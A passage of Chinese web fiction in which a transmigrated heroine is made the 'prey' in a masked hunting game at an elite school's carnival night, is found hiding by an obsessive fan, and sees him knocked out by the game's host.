栗纯想一想也是,“确实,也没那么复杂,让崔少爷把面具一摘,往你面前一坐,我看谁敢越过他对你出手。” “是啊。” “虽然那么做挺耍流氓的……但是姐妹会当众威胁,也很没品。”栗纯安慰,“反正说到底不是什么大事,到时候找崔少爷帮忙就是了。”. 想是这么想的,但是计划赶不上变化。 狂欢日当天——崔英朗没有出现。 在那天接到了电话,不情不愿地对她告别,回了医院之后,他就再也没有出过医院。 “老头子把我关起来了。”崔英朗含糊其辞,“他多半是更年期到了,脑子里有什么大病,硬说我留下了后遗症,必须好好修养,不然迟早变成废物,烦死了。” 安蔓迟疑了一下,“所以说,崔少爷你要一直住院修养吗?” 崔英朗的声音懒洋洋的,透着一股烦躁,“是啊,老头在到处都放了警卫,就是为了监督我不准出去,简直有病!本来有给你准备的惊喜也不成了,烦死了。” 安蔓根本没心情担心他的情绪,在心里默默划掉了关于他的计划,准备去找另外两个人,敷衍,“是吗?” 崔英朗呵了一声,声音阴气森森,“别以为我在医院,就不知道你在干什么,到处都是我的眼线,如果你背着我做了什么勾三搭四的行为,我会第一时间发现。” 安蔓:“……” 崔英朗阴森森地开口,“特别是和江赫,别让我知道你们又干了什么。我会一直盯着你。” 第55章 第55章狂欢之夜 55. “知道了。”安蔓挂了电话。 那天姐妹会的会长发出动态后,如同崔、韶两人一样,动态在几十分钟之后,被屏蔽 掉了。但它带来的余波远不止于此,至少许多消息灵通的人开始流通,有关她的参与信息。 安蔓也确实准备参加——在做好防护的前提下。 现在,既然崔英朗不行,她要去寻找自己的备用选项。 狂欢日当天,连绵数日的暴雨渐渐止息。 天空带了点暗沉,空气中浮动水汽,带来一阵淡淡的凉意。高大的樟树,在暗淡的日光下折射出阴影,叶片被氤氲凉薄的灰雾浸了,湿哒哒地向下滴水。 安蔓穿好大衣,戴好口罩,走出宿舍,向风纪会走去。 德川校园内,四处拉着五颜六色的横幅,每走几十米就有一处分发游览指南的站点,到处都是欢乐的痕迹,从宿舍向外蔓延的一片草坪处,正在举行歌舞快闪,一群人穿着五颜六色的服装。 更远处还有跳蚤市场,和随机刷新的各式美食小摊,主持小摊的人以灰色制服的特招生居多,一边收钱一边制作餐点。 更远处还有讲座、研讨会、校史展览,一群穿着花花绿绿的外校学生,三五成群,四处游览。 她给韶景荻打了电话,几通下来,居然没有人接,只能一边打电话,一边到找了风纪会。 风纪会大门十米处,被设了哨岗,有学生执勤,看到人便开口,“请交通行证。” “我找韶景荻会长,请问他在吗?” 执勤的男生闻言抬头,仔细地打量了她一会儿,探出一个脑袋,“是安小姐吧,我们会长嘱咐我,如果你来找他了,就让你先回去,他今天有事,早些时候已经走了。” “去哪了?” “不知道,他出学校了。”男生说,“你给他打个电话吧。” 安蔓客气道谢,转头走了,找了个隐蔽的地方站定了,心里总有种不好的预感。 她想了想,又打了个电话给栗纯,拜托她,“你帮我去看看江级长在哪,好吗?” “OK,包在我身上。”栗纯说,“别担心,白天这里是很安全的。” 等栗纯的电话一挂,电话铃声刚好响起。 安蔓接通电话,是韶景荻,他的声音带着一如既往的雀跃。 “怎么了公主殿下,是想我了吗?”他说,“我刚刚在取车,没看到电话。本人现在不在德川,今天有点事情,可能会晚点回来~” 安蔓看了一眼时间,“正好是今天?” 韶景荻一边开车一边抱怨,把声音开了外放,让手机传出清晰的喇叭声,“是啊,我有个朋友回来了,让我们今天一起去聚餐,没办法,真讨厌。” 安蔓不怎么听过他那种为难的口气。原著里,一直到剧情结束,德川也没有出现他口中的“朋友”,“关系这么好?” “算是吧,一个老朋友,本来说要周游世界,但是不知道最近没怎么突然回来了。” 他声音抱怨,像是想起了什么糟糕的经历,一边叹气一边开口,“啧,我还以为他要过几年才回来呢。” 安蔓试探,“他是个什么样的人,我认识吗?” “你不认识。没必要认识,认识他不是什么好事,人倒是好人,只不过特别装,又装又疯。” 韶景荻突然起了兴趣,啧啧了两声,给她讲了起来:“我这个朋友,比我年纪都大一点,算孩子王吧,责任心不高,掌控倒强,什么都要管一下。刚开始我以为他是另一个韶景戈,后面才发现他只是单纯的爱装,喜欢在大人面前装乖,装出一副纯洁无瑕的天使形象。偏偏又装不彻底,人又疯,又有病,我们以前可是打了不少架。” 他懒洋洋地怀念了一会,一笔带过,轻描淡写,“算了,不提这个,差点忘记告诉你了,今天晚上的狂欢夜你最好参加,之前我和谈灵秋约好的条件,就是让你参加这个节日——并且坚持到结束。” 安蔓皱了一下眉毛,“为什么。” 韶景荻哼了一下,声音似笑非笑,“我不知道。说不定,她要去干坏事呢。比如说,要去趁半夜偷文件之类,需要你搞出足够大的动静遮掩呢。” 安蔓:“……什么??” 系统:“……什么??他不该知道啊。” 书里确实有这种剧情。女主潜入学校,为了父亲入狱的真相,铤而走险,去翻阅当年的资料。然后正好遇上巡查的风纪会两兄弟,由此展开一场激烈对碰的猫鼠游戏。 但在原文描述中,韶家兄弟并不知道这件事,而是抓住了线索,顺藤摸瓜才发现女主。 “哎呀,随口一说你就当真。”韶景荻说:“开玩笑啦~。” “你……” “安蔓!”远处传来一道声音。 栗纯跑了半天,找人问了个遍,现在终于跑了回来,在距离安蔓还有半米的地方,终于找到人了,一看过去,表情却微微一愣。 安蔓举着电话,站在教学楼的角落中,任凭巨大的的影子将她全身遮住,长发垂散,只露出了半张形状较好的侧脸,此时正微微蹙着眉,表情有些困惑。 手机里的声音又传了出来,韶景荻的声音微微上扬,“是谁?你那个朋友吗,正好你把电话给她,我叮嘱一些事。” 栗纯总感觉自己好像不小心打断了什么,脚步迟缓起来,半天才从安蔓手里接过手机,嗫嚅开口,“韶会长,你好。” “你好啊,我记得你,安蔓小姐的好朋友,对不对?” 栗纯不确定,“应该是我。” 韶景荻笑道,“今天拜托你了,我有事在外,暂时不能赶回来,有什么意外你帮我护着她,好吗?” 栗纯声音激动了一点,“好。” 韶景荻笑了,“不要这么拘谨,都说了她的朋友也是我朋友,我记住你了,有机会来风纪会走走。现在把电话还给她。” “啊!好的!好的!”栗纯被他短短几句话弄得激动起来,兴奋的几乎尖叫,她一直以来的目的就是通过安蔓,接近这些人得到好处。 现在根本没做什么,就被邀请了,又是怀疑和满足,在原地蹦了蹦,才地把手机交还安蔓。 手机里又传出声音,韶景荻在笑,“亲爱的,别担心,没关系,不是有我吗?不出意外的话,我会在下午6点前到学校,你先玩,乖乖等我回来噢。” “……好。”安蔓挂了电话,拧起眉毛。 韶景荻总给她一种什么都知道,但是就爱装傻的感觉。 谈灵秋的事,他从一开始就知道,为什么不揭穿?为什么往下演? ……就像是对面她时一样。心若明镜,冷眼旁观,一切为了有趣。 为了有趣,放任她参加狂欢之夜。 栗纯激动的说不出话,只能在旁边张牙舞爪,见安蔓挂了电话,才激动得连声说,“交给我吧,交给我吧,我打听清楚了狂欢之夜开始的流程,我们在五点半前去德川的宴会主厅,大部分人在那个时间点,都会在那里。” 安蔓却没有在意她的话,而是问,“江级长呢?” 栗纯挠了挠头,“他也不在,我问过,他上午出去了。” 安蔓抿了抿唇,在这样的时刻——几个人居然都在这一天不约而同地,离开了学校。 “早点去吧,据说每年的规则都不同。”栗纯咕哝,“反正韶会长说了等会会来,我们走吧,早点到。”. 到达宴会大厅的时候,已经五点半了。 一进入德川的宴会主厅,仿佛跌入一场金色的幻梦,保存良好的古堡式的建筑,古典雅致,数米高的穹顶向上延伸,中间垂下一盏的水晶吊灯,交错的棱形水晶 折射出迷幻的光晕。 巴花实木长桌上,摆着缠丝银烛台和珐琅餐具,有人轻手轻脚在其中端上餐点。 这个时节,天黑的早,她们到达时,天空已经微微擦黑,乌黑暗沉下来。 夜幕渐临,门口站着几位恭敬侍立的侍者,对每一个宾客迎来送往。 人人皆穿着典雅,笑容完美,气质温和,恭恭敬敬地对她们弯下了腰。 “你好,小姐,这是你的面具。”一个侍者礼貌道,“请戴上它们入场。” 栗纯也是第一次参加这种活动,她从侍者手里,拿到了白色面具和黑色斗篷。 安蔓跟在旁边,垂眼一看,白面具质感冰凉,光滑无痕,不像塑料制品,并不廉价。 黑色斗篷被栗纯捏在手里,轻轻抖开,面料柔软绵密,略带光泽,她摸了一下,“居然是天鹅绒的,好能下血本,这是给个人都发吗?” “是的。如果您有别的喜好,也可以自备。”侍应生彬彬有礼。 栗纯犹豫了一下,“不给她发一份吗?” “你说笑了。”侍应生弯起眼睛,笑容完美,“猎物是不需要面具。” “你怎么知道她是……”栗纯刚出口就打了个寒战,意识到自己问了个蠢问题,赶紧摇头,拉着安蔓走进主厅,“算了算了,我们快走吧。” 这次倒没被拦住。 但是刚进去,两个人的脚步又顿住了。 璀璨的大厅里,处处奢华典雅,细节精致到位,穿着统一制服,长相颇佳,气质温顺的男男女女端着托盘,步伐优雅的端上一杯杯美酒佳肴,结束后又悄无声息的弯腰离开。 这和传统的宴会别无二致。 唯独有一个问题,看不见脸。 在这个宴会现场,几乎所有人——都戴着一模一样的白面具。 “安蔓……这是……”栗纯的皮肤泛起一阵鸡皮疙瘩,凉意从头灌到脚,牙齿也开始微微发颤。 安蔓停下脚步,阵阵絮语向耳边飘来。 “来了吗?” “没有。” “肯定会来,都被指定了。只要她还想过公投就必须来。” “期待,我从来没有期待过这种无聊的节日,希望她一定要来,别让我们失望。” “你们知道今年的规则是什么吗?怎么这么晚了还没公布……对了,听说几个少爷都不在?有意思。” “哈哈。” 安蔓脚尖顿住,一瞬间被水晶吊灯的强光刺的微微眯起眼睛,在零碎的谈论中,那种不祥的预感变得格外强烈。 “你好,安蔓小姐。” 前方高台上主持人忽然开口,将面具推在头顶,露出一张和江赫略有几分相似的脸。他穿着藏蓝色的西装,鲨鱼皮鞋踩在光滑的地面上,气质颇有几分随性和轻佻, “好久不见,你可能不记得我了,不过我对你印象深刻,上次我们在生日会上见了一面。得益于你,生日会有个糟糕透顶的收场,根本没有办下去,真让人心碎。” “是江淮盛。”栗纯的小声提示。 “这次由于那几位少爷都不在,经过推举,这次的狩猎,不,这次的狂欢由我主导。忝列其中,不胜荣幸。” 江淮盛将头顶的面具向上推了推,露出了一个充满兴趣的笑容,开始一下一下地鼓起掌来,“大家欢迎。” 不知是谁先听到声音,戴着面具的人们一个一个、一个一个转了过来。白色面具对准了视线尽头的安蔓。 面具纯白,没有五官,空洞洞的一片白,只有眼睛部分开了两个小洞,能看出一双双颜色各异的眼睛。 接着,一群分不清性别、年龄、长相的人,一个接着一个,慢慢鼓起掌来。刚开始鼓掌的人寥寥无几,掌声杂乱无序、零散琐碎。渐渐的,回头驻足的人越来越多,加入其中的人群变多,掌声越来越大,越来越激烈,整齐划一,轰然作响,如同暴雨般淹没整个大厅。 “欢迎。”他们凝视着她说。 第56章 第56章狂欢 56. 掌声渐弱,江淮盛从旁边人手中接话筒,调试了一下,“各位小姐、绅士们。按照惯例,本次狂欢之夜,我们要介绍到场人员。首先,是我们亲爱的特邀嘉宾,红队。” 他将手微微一扬,掌声彻底结束,所有人的目光随着他们来到了右边偏后的角落。 这时安蔓才发现,在那个角落里,站着一群穿着灰色制服的特招生们。 他们谨慎地站在角落的阴影里,有男有女,抱团站在一起,全部戴着红色面具,面具样式和栗纯手里的别无二致,只是颜色鲜红,在光线下瞩目得如同流淌的鲜血。 “如果你们有异议的话,请尽快提出,六点一过,德川大门一关,可就没有反悔的机会了。”江淮盛加重语气。 话音落下,人群中掀起一阵骚动。 特招生们不安的彼此对视一眼,低声商议,“要走吗?”“你走吗?” “我害怕。”“要不我们走吧。” “不,我想留下,我想要奖励。” ……一群人零零散散地商量好几分钟,但最后没有任何一人开口,也没有任何人离开。 “很好,大家都很有勇气,这是好事。毕竟——这是一场勇敢者的游戏。” 江淮盛见状,满意地收回目光,点了点头,“其次,是我们的狩猎者白队,大家欢迎。” 人群发出一阵轻轻的笑声,悠扬空灵的小提琴音适时响起,和钢琴的演奏声一起,营造出雅静的氛围。 大厅内的白面具,基本上都还没带斗篷,此时穿着制服礼裙、衣香鬓影的男男女女们,还能通过身形大致彼分辨彼此,轻笑着互相打趣。 “欢迎。” “……欢迎。” “欢迎!” “最后是我们美丽的校花小姐!”江淮盛忽然提高声音。 啪嗒。 不知哪里忽然打来了一束灯光,将安蔓的身形笼罩住。 安蔓下意识闭上眼睛,睫毛颤动着,整个人在刺眼的光线下,近乎失真。 她穿着普通的黑色大衣,裤子,黑皮靴,仿佛要与夜色相连。皮肤却是雪样清冷的白,黑发逶迤,丝丝缕缕贴在雪白的领口,如同花枝般蔓延。 整个人白是白,黑是黑,色泽的对比极为鲜明。 清冷,干净,脆弱。 如同折不断花枝,脆弱强韧,却更容易诱使他人产生扼断的欲望。 这并不是所有人第一次见她,却是在场大部分人,第一次这么靠近而肆无忌惮地打量她。 看她纤细修长的脖颈,没有血色的嘴唇,和微微蹙起、显得厌恶又冷淡的脸。 安蔓闭上眼,只能听见栗纯剧烈的心跳和喘息。 她声音受惊,炸了毛的兔子,快速往旁边避开,“……抱歉,安蔓。我、我不能再待在你身边。” 旁边响起一阵脚步声。 安蔓蹙起眉毛,后退几步,重新睁开眼。 栗纯已经离开身边,戴着面具混入人群,只能通过衣服辨认。她不自在地整理衣服,扣着面具,竭力往人群深处走。 而周围鸦雀无声……每个人都在看她。 目光意味不明,充满晦涩和难言的意味。 【叮。】 【当前声誉:你吸引了一些视线】 【今夜之后,将有人为你彻夜难眠。】 安蔓脱离了光线,才发现不远处有个戴面具的红衣男生,对着她十分恶趣味地用手电筒打了灯。见到她,还特地挥了挥手 人群隐隐骚动,安蔓厌烦地移开目光。 江淮盛的声音,及时将场内大部分人的是注意力夺回。 他走下高台,慢慢的从人群中走出,扬了扬手,提高音量介绍道,“本次狂欢,采取传统的狩猎模式。分为狩猎方—白队,和躲藏方—红队。在今天结束前,如果红队全部被抓住,那么白方胜。反之,哪怕只剩一人,红方胜。败者必须答应胜者一个要求。” 特招生人群里,发出一阵细细的议论声。但还是没有人离开。 明显,大部分的人,都是提前了解过规则的。 “不过,这次唯一的例外点,是我们新增了一位猎物。她的优先级置顶!所有人——无论是红队还是白队——只要有人率先抓住她。” 江淮盛脚步不紧不慢,脸上带着笑容,穿过人群,停到安蔓面前。 他将左手按在胸口,彬彬有礼,鞠了个躬。然后盯着她的眼睛,一字一句地介绍,“都将获得胜利!亲手抓住猎物的人,还能要求安蔓小姐 ,无条件答应一件事。” 他将重心放在“无条件”三个字上,说完后,刻意停顿了一下, 随着他的讲述,刹那间,所有人的目光都聚集在他们两人身上。 江淮盛没有讲清,但所有人都能听出他的潜台词:比起对抗,红白两队最快的获胜方式,是抓到安蔓。 这个策略,无疑是将她立于所有人对立面,那是一种极端糟糕的境地,无论是那些贵族,还是特招生,所有人第一目标都是抓到她! “这不公平吧。”人群里,刚刚那个故意用手电筒照射的红衣小少爷,突然开口了。 江淮盛抬了抬头,“这本来就不是一场公平的游戏。” “太刻薄了。”红衣少爷摇摇头,“万一她熬到午夜胜利了怎么办?” 江淮盛:“那么她也能获得相应的报酬。如果胜了,安蔓小姐能对红白两队,提出任意要求——包括无条件推举她渡过公投。” 红衣少爷闭嘴了,看上去只能算勉强认同。 “还有问题吗?”江淮盛问,“大家还有五分钟讨论。” 安蔓面沉如水,一言不发。 她平静地注视全场,大部分人僵持一会儿,开始小声讨论起来,但也有人不同寻常,比如刚刚发出声音的红衣服小少爷。 他忽然从人群中走出,停到安蔓身边,对她热情地打了招呼,“你好,安蔓小姐,好久不见,我是陆珈,很高兴见到你。” “你好。”安蔓平平淡淡开口。 “别这么冷淡,可以吗?” 陆珈笑了笑,将手按在胸口,抽出胸口别着的玫瑰,放在她手边的桌上,“我很喜欢你,我们有个群……你不知道里面有多少人都喜欢你。” 安蔓面无表情地,从路过的侍者的托盘里,端了一杯白开水,喝了下去。 陆珈被冷落了,也不心急,他仿佛微微笑了,只是目光专注的看着她,“我只是想告诉你,我喜欢你,还有我很擅长捉迷藏的。我会抓住你——” 他隔着面具笑了一声,随即弯腰,将玫瑰放在她手边的桌上。 这个举动仿佛一个信号。 在他带头下,不断有男男女女,步伐优雅踱在到旁,一朵一朵的将玫瑰放在她的手边。 玫瑰转眼将桌面堆满,娇嫩的花蕊簇簇挤挤的挨着,仿佛一道微妙的信号。 “看来大家已经选定了自己的目标。”五分钟后,江淮盛再次开口,“在接下来的时间里,请红队与猎物离开会场,自行躲藏,狂欢6:00正式开始。请大家好好把握时机。” 特招生互相看了一眼,你推我一下,我拉你一下,簇拥在一起,一个个离开了会场。 转眼间大厅变得空旷起来,里面只剩下白队和猎物了。安蔓稍稍等了一会,特地等所有特招生都走完了才起身,迈开脚步选了一个方向从大门离开。 江淮盛放下话筒,拿起一支香槟,看着她离开的背影喝了一口,立刻有人聚了过来,质问道,“这次的条件怎么这么苛刻,连那群特招生也加入进来,他们凭什么?” 旁边穿着深蓝色礼裙的女生,也跟着皱起了眉毛,厌恶斥责,“大家一起玩玩,关他们什么事!” “我这就让人去警告一番,看那些特招生,有谁敢抢面前,染指我们的猎物。” 江淮盛将香槟喝尽了,把杯子扔到一边,“我只是遵从大家的意见罢了。” 他只是最近太倒霉了,想要把事情尽可能完善周到,做到最好,就比如说上次的生日会,明明万事俱备,他甚至做好了江赫来搞破坏的应急预案,唯独没想到,会遇到崔少爷遇袭这种事。 事件的主人公之一,还是在生日会上大放异彩、声名狼藉的“校花”。而最近的崔少爷掀起的“抢女友”大战,又恰好将“校花”、江赫,拼凑在一起,让他发现了一个新的将江赫踩下去的机会。 红衣服的小少爷又踱步过来,手里也多了一杯红酒,将面具掀起喝了一口,表情有点遗憾地看向门口,打听道,“你说的那几位今天晚上,都不会出现是真的吗?” 江淮盛认出了他,陆家的小少爷,家世尚可,家里非常宠爱,因而有些性格娇纵。平时崔英朗在的时候,还算老实,现在听说人不在了,整个人都抖擞起来。 他低调地应了一声,“嗯,我新收到的消息,说是‘去旅游的那位’回来了,将他们喊去聚餐,一时半会回不来……所以大家要抓紧了。” 周围戴着面具的男女,听闻传言确认,瞬间一片低低地哗然,开始窃窃私语起来。 转眼几位少爷不能到达现场的消息,瞬间传遍了所有人。 兴奋和蓬勃的狩猎欲交织着,彼此间默契地私语。 “她真可爱,我喜欢她。” “真好,本来我还有点担心的,这下可以放开手脚了,不用担心其它事了。” “我要抓住她。我会抓住她的!” “我先确认一下他们逃跑的方向……该死,德川为什么这么大,这么好藏!” 江淮盛冷眼旁观,围观这群平时高高在上、金贵不凡的少爷小姐们,因为短短的一句话就开始躁动。 这群天之骄子,天潢贵胄,此刻和普通人没什么两样,虽然姿态仍然自命不凡了,本质上却和关久了,被终于放出、对着鲜肉垂涎三尺的恶犬。 一群有钱有势的人,露出那种兴奋姿态,实在是让人有些难以理解,他们有什么好看的人得不到? “各位。”江淮盛清了清嗓子,不动声色地移开目光,竭力不暴露自己鄙夷的姿态,“大家都知道,我和这位校花小姐有点过节。上次生日会的事,直到现在,还在影响我。” 他稍稍停顿了一下,收获了一片同情的目光,“所以本次狩猎我也会参与,届时大家各凭本事,好吗?” 一片沉默。 然后是一声懒洋洋的,“随便。” 这次狩猎,难得几人都不在,无论如何,是个好机会。 江淮盛歉意一笑,眼中露出勃勃的野心。他看了眼时间,重新拿起话筒,“6点了,学校的监控关闭了,大门也锁了,请大家有冤报冤,有仇报仇——抓住这个好机会,肆意妄为,开启这个夜晚的狂欢吧!现在让我重申以下规则。” “规则1,在午夜时分,请大家回到这里,进行结果统计。” “规则2,请大家把准尺度,严守红线。” “规则3,请尽情享乐,尽情恶作剧吧——” 他再次停顿,举起手,注视着机械表的秒钟一秒一秒的转动,等它绕过半圈即将回归起点后,才缓缓吐出喉咙里堵着的那口气。 他抬起头,盖好面具,扫视全场人员。 所有人都抬头望他,凝神静气,无声等待。 所有人都戴着面具,甚至有人用笔在上面进行彩绘,汇成扭曲狰狞的恐怖主题,一眼望去白茫茫,黑洞洞一片,冲击感十足,它们无声无息地看着他等待。 “时间到,现在——”指针归零,江淮盛喉咙里的声音提了起来,声音变得高,连同窗外的钟声一起骤然炸响,震耳欲聋。 “我宣布——狂欢开始了!”. 可恶,一群神经病天龙人。 到底什么人才会喜欢这种无聊透顶,幼稚中二的游戏啊! 安蔓走出主厅时,一时间有点茫然,天色渐晚,只剩最后一些余晖,正缓缓沉入夜色。 现在学校里的人剩下两派,一是浑身包裹的严严实实,到处找地方躲藏的特招生;另一种,则是狂欢日活动刚刚结束,正见鬼似的像外逃的教授和外校生。 安蔓避开所有人,选了个藏身地,屈起一根手指,点在太阳穴上揉了揉,打开手机。栗纯躲在人群里,正偷偷给她当间谍。 [开始了,他们决定先从最近的教学楼搜起,派10个人把手就入口,其他人从1楼往上搜。] [开始搜第二栋教学楼,抓到了6个特招生,有女生去特招生宿舍搜了。] [抓了20个特招生。他们开始分队了,有些 人不愿意吃独食,决定一个人去找……他们不许我跟着了。] 安蔓闭上眼睛,再睁开,看到栗纯的又一条信息。 [……你保重,我给韶会长打了电话,他没接。我听说他们晚上可能没法赶回来……我会努力跟上的。] 可恶,一群不靠谱的家伙! 但是,一个人失约可能是意外。 所有人都不在,就不太可能是巧合了。 安蔓闭目养生,头疼地揉捏额头,不想了。 不管是什么原因,现在她的情况,才是最要紧的。 她给栗纯打字[好。],刚发过去,就听到外面传来响动,有人在用铁丝撬锁,声音吱嘎吱嘎,难听尖锐。 安蔓瞬间收起手机,放轻呼吸,将头贴在柜子门上,安静聆听。 外面有人橇门。 嘎吱——嘎吱—— 他撬开了门。 门被推开了。 哒哒、哒哒。 脚步声响起。 人来的这么快!安蔓的心脏扑通扑通地跳了起来,呼吸也变得急促。 脚步声谨慎而迟缓,在周围转了一圈,停留在窗户前。 哒哒、窗帘被掀开,里面空无一人。 停顿了一会儿,脚步声再次响起,这次停留在办公桌前。 他拿起水杯,放下,发出一声轻微的叮咚声。 办公桌下没人。 椅子下的空隙没人。 大概是担心灯光引起他人注意,进来的人没有开灯,而是打了手电,灯光晃过柜子,透过缝隙,安蔓心脏砰砰乱跳,听见脚步声再次响起,慢慢停在柜子前。 对方蹲了下来,呼吸透过薄薄的柜子传了进来,他伸出手按住柜子,打量了一下,接着捏住柜子的拉手,轻轻向外一拉。 还是没人。 一阵失望的叹息。 哒哒、脚步声失望地向外走去。 安蔓躲在柜子里,屏住呼吸,竭力按捺住极速跳动的心脏,刚想松一口气,可紧接着,向外前进的脚步声倏忽停住,转向。 对方忽然绕了一个方向,将另一边的柜门打开—— “surprise!” 红衣小少爷猛地拉开了门,明显地松了一口气,“还好还好,没记错,这里是双层柜呢,你好聪明啊校花小姐。一般人猜不到这里。” 安蔓面无表情地抬起头,身体缩在狭小的柜子里,“你怎么发现的。” 陆珈不好意思地挠了挠头,他没有穿斗篷,浑身鲜亮的红衣,伸手把面具摘了下来,表情略带羞涩,对她扬了扬嘴唇,“我推理出来的,毕竟除了你,一般不会有人躲在风纪会的办公室里。而本人不才,正好是风纪会的内部成员。” 他的眼睛直直的看着她,笑容十分灿烂,退后一步,伸出一只手,十分有礼貌的请她出来,“你输了,安蔓小姐,我是这次游戏的赢家。” 安蔓表情更冷漠了,她浑身难受地窝在柜子里,慢吞吞的挪动身体,把这个仇全部记在韶景荻头上,钻出柜子,冷淡说,“你打算做什么。” 陆珈摇了摇头,将手电筒放在一边自己在旁边,站好了,目不转睛的盯着她。 他的白面具,被他送去雕了山水画,远看纯白,近看则面清晰的山脉走向。他心不在焉的摸着上面的纹路,突然说了一句风马牛不相及的话,“我是你的超级粉丝。” 安蔓差点以为自己听错了:“什么?” 陆珈露出笑容:“我还在经营你的个人站,每天研究你的日常,揣摩你的日常和性格,所以才能这么快找到你。” 安蔓,“……??你喜欢我?” 陆珈笑容满面:“是的!目前来说,应该算得喜欢。我本来很讨厌你恶意追求韶会长,但是接触了之后,才发现你真的很有意思。” 安蔓听的鸡皮疙瘩都要起来了,忍不住伸手摸了摸胳膊,又困惑又毛骨悚然:“什么意思。” 陆珈本来想带她走,直接到主厅,提前几个小时结束这场游戏,但是看她似乎不准备走,反而有种打破砂锅问到底的趋势。 他想了一下,起身将门锁上,自己在一边坐着,还颇为绅士地为她推了一把椅子,等安蔓坐下了才开口,回忆道,“你不记得了吗……其实我认识你比宴会厅那群人早得多,我在你入学的时候,就见过你了,不过那时候的你和现在有点不太一样。” 他回忆了一下,安蔓大一入学的时候的模样,他当时刚进风纪会,恰巧选了同一门课,又恰巧坐在一起。 陆珈记得安蔓那时候,也很漂亮,性格温柔似水,两个人聊了一会儿,对彼此的感官都不错,当时交换了联系方式,很快成了偶尔交谈的朋友。 只是他很快发现了一点不对,安蔓似乎并不想跟他做朋友,言辞间老是打探两位会长之间的信息,询问他们的性格,喜好,还有恋爱史等等。他察觉不对,转头将这件事上报给了两位会长。 陆珈简单概括了一下,表情怀念又困惑:“那时候你还是挺讨人厌的,怎么现在突然变得可爱起来了呢?简直就不像同一个人,是太久了吗,你都不记得我了……” 安蔓被他好奇的目光上下扫视,从颤抖的睫毛,苍白的肤色和没有血色的唇,从衣着到动作没有一个地方放过,最后落在她漆黑的瞳孔里。 他仿佛看见了星星一样,瞬间着迷起来,喃喃,“……真好看。” 安蔓起了全身的鸡皮疙瘩,不光是因为他的目光,还有他话里透露出来的内容。 ……原主追过韶家两兄弟? 如果是真的,为什么韶景荻那里,完全没有表露出一点相关的迹象! 还有他哥韶景戈,两个人和她初识之初,就是面对陌生人般毫无异样、正常交往。 如果是假的,这个人,为什么要在她面前说谎,并且刻意提起? 她汗毛倒竖,突然微微觉得冷,忍不住伸手按住冰凉的手背,轻轻摩挲了一下,在心里大喊。 “系统,原主追过这两兄弟吗?” 系统茫然地钻了出来,研究了一会儿,谨慎的给予答复:“啊,我不知道,书里没说。” 安蔓大怒:“你到底有什么用啊?废物!” 系统沉默地缩了回去,“呜呜。” 这次,即使辱骂系统也没办法,缓解心中困惑的情绪,原主和这对兄弟,曾经到底有过什么关系。 又或者,这个人在说谎? 安蔓皱起眉毛,感觉头更痛了,她忍不住想再按按脑袋,回过了神,差点又吓一跳。 ——陆珈不知道什么时候靠的很近,他兴致勃勃,单手支着下巴,目不转睛,专注的看着她的脸,身体微微前倾,眼睛一眨不眨,不舍得离开。 “真好看。”他咕哝道。 安蔓伸出一根手指,按着他的额头往后推,“够了!” 陆珈不太开心地后退了,他干脆站起来,拍了拍衣服,示意两个人向外走,“我就看看,看看怎么了!算了,我们回去吧,想到待会儿夜长梦多,有人来跟我抢你,那就不好了,毕竟我不擅长打架。” 安蔓想再追问他韶景荻兄弟的事,又不方便追问的明显,在心里组织措辞,跟着他向外走去。 陆珈走了几步,忽然想到了什么,回头将面具扣到了她的脸上,上下打量一番,终于稍稍满意,觉得可以走了,“戴上这个面具,说明你是已经被打上标记的猎物,走吧。” 面具大了一点,安蔓向上推了推,绞尽脑汁,扯上相关问题,“你为什么会喜欢,按照你说的,你应该讨厌我才对。” 陆珈心情十分愉快, 声音也飞扬起来,在夜风中轻轻回荡,伸出手,还算绅士的扯住了她的袖口,拉着她向前走,“以前不太喜欢,最近注意到,突然觉得,我说不出来……这需要什么理由吗?” 安蔓:“当然!” 陆珈脑子转了转,唔了一声,“那我想想。”他突然顿住了脚步,伸出手拦在安蔓的面前,身体猛然的警惕起来,举起手电照过去,“谁,出来。” 为了避免遇人,他特地抄了远路,没往灯光多人声鼎沸的地方走,专走人少地偏的小路,此刻两人正好路过一片树林。路灯下,树木安静地伫立在两侧,在黑暗中静默地沉寂着,偶有飞鸟,也不过发出一点扑簌簌的声音。 此刻,在高大的樟树下,憧憧倒影中,却隐约可以看到一道黑漆漆的人影。他身材挺拔,伫立在树影的黑暗里,不知道站了多久,没发出任何声音。 直到手电晃过他的位置,才隐约露出一角藏蓝色的衣服。 “我。”人影从树丛中慢慢走出,他身形挺拔修长,藏蓝色西服,鲨鱼皮鞋,白面具下方的位置被人为地勾了一道弧线,看起来像一个惨白诡异的微笑。 江淮盛走了出来,投降般竖起双手,“是我。” 陆珈刚刚听到皮鞋踏碎树叶的声音,才蓦然警惕起来,质问:“你怎么在这,你跟了我们多久了!” 江淮盛:“不,我只是刚好找到这里。” 陆珈:“那你怎么不出声!你在跟踪我们?” 江淮盛耸了耸肩,声音难得有点无奈:“我怎么出声,你手上还拿着弩,这不是自己找罪受吗?算了算了,我立刻就走好吧。” 陆珈摇头:“不行,你走了,和其他人告密怎么办!” 江淮盛无奈,微微侧过头,摘下面具,对安蔓眨了眨眼,亲切又俏皮,“那怎么办,你都抓住她了,直接去宴会主厅就好,难道还要在旁边守着我防止我告密吗?”他想了想,提出一个建议,“或者我跟你一起去,反正我是主持人,最终结果还是要我统计的。” 安蔓百分百确定他不安好心。 但陆珈这个傻白甜,看着不傻,对人的警惕心却不高,在思考几秒之后,居然没有拒绝这个提议,而是伸手向前指了指,命令,“你,走在我们前面,不许停。” 江淮盛叹气,把面具往旁边一扔,无奈耸肩,“我都说了你没必要这么戒备,算了,我理解。” 他一边叹气,一边从树丛中走出,一接近两人陆珈就举起了手,瞄准他,只好后退几步,无奈笑了,“行吧,这样可以吗?” 陆珈勉强答应,放下手,谨慎评估了一下,才开口,“算了,这个距离差不多,你再——”话音刚落,前方的江淮盛蓦然转身,握住他的手,往前一拽,接着抬腿屈膝膝盖猛然撞上他的胃部! “啊!”陆珈骤然发出一声痛呼,身体弓成熟虾,脸上迅速窜起痛苦的神色,腹部一阵阵抽搐,刚想反击,又被人击打后颈,身体一软,浑身失力的软了下去。 江淮盛一个手刀将人放倒,在路灯暗淡的光线下,他嘴角猛然上扬,赫然是一个和面具一样狂喜的笑容! 他没想到一切得来全不费功夫,他刚开始决定和其他人一样寻找,后来发觉效率太低,于是蹲守在必经之路上,没想到真给他蹲到了! 现在猎物就在他手边,此刻所有的人都不知道,没人赶得及,他完全可以在被发现前,将人带回去,结束这场无聊透顶,毫无意义的游戏! 